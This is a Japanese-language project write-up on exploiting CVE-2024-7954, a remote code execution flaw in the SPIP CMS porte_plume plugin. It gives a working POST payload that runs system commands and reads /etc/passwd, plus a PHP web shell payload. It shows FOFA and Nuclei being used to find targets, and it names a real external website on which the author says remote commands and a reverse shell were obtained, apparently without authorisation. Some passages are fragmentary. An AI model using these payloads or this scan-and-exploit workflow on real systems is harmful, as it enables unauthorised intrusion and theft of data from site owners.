
リモートコード実行(RCE)脆弱性(CVE-2024-7954)の悪用
ソフトウェア脆弱性テストプロジェクト 提出者: Shivansh Kuntal
このプロジェクトは、SPIP CMS の porte_plume プラグインに影響を与える重大なリモートコード実行(RCE)脆弱性である CVE-2024-7954 の悪用を実証するものです。
この脆弱性により、認証されていない攻撃者が細工したHTTP POSTリクエストを介して、対象サーバー上で任意のPHPコードを実行することができます。
テストは管理されたローカル環境で実施され、その後、FOFAとNucleiを使用した実世界の偵察に拡張されました。
CVE-2024-7954の影響を受けることが確認されているSPIP CMSの脆弱性バージョンが、既知の脆弱性リリースをホストするGitHubリポジトリを使用して、Apacheサーバー上にローカルでデプロイされました。
使用ツール
localhost で稼働するSPIPホームページはインストールの成功を検証し、悪用の対象として機能しました。
porte_plume プラグイン(バージョン4.30-alpha2、4.2.13、4.1.16より前)は、ユーザー提供の入力に対するサニタイズが不十分なため脆弱です。 攻撃者は特定のフォームフィールドにPHPコードを注入でき、そのコードは後でサーバーによってレンダリングされ実行されます。
影響: 認証なしのリモートコード実行 深刻度: 重大(Critical) 攻撃ベクトル: ネットワーク / HTTP POST
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
公開されているSPIPインストールを列挙するためにFOFAクエリが使用されました:
app="SPIP"
FOFAは複数のメタデータを返しました:
targets.txt にエクスポートして、バッチスキャンを実行します。特定された適切な実世界のホスト:
http://www.comite-tricolore.org/
手動による悪用は時間がかかるため、Nuclei を使用して、多数のターゲットにわたるCVE-2024-7954の検出を自動化しました。
nuclei -l targets.txt -t CVE-2024-7954.yaml
-l targets.txt はFOFAの結果を読み込みます-t はカスタムPoCテンプレートを読み込みます注記: 最初のテンプレートは 一致なし を返しました。
nuclei -l targets.txt -t cves/
このスキャンにより、応答するターゲットが1つ特定されました:
http://www.comite-tricolore.org/
アクセス:
http://www.comite-tricolore.org/spip.php?page=contact
確認できた内容:
Burp Suiteまたはcurlを使用して、message パラメータを変更します:
ペイロード
<?php system($_GET['cmd']); ?>
アクセス:
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id
またはcurlを使用:
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"
出力により、リモートコマンド実行が確認されました。
細工されたペイロードによりリバースシェルのコールバックが可能になり、以下が可能になります:
whoamilsこのプロジェクトは、偵察から対話型シェルの取得に至るまでの CVE-2024-7954 の完全な悪用チェーンを実証しています。
この脆弱性は、一見無害なテキスト整形プラグインが、適切に保護されていない場合にシステムの完全な侵害を引き起こし得ることを浮き彫りにしています。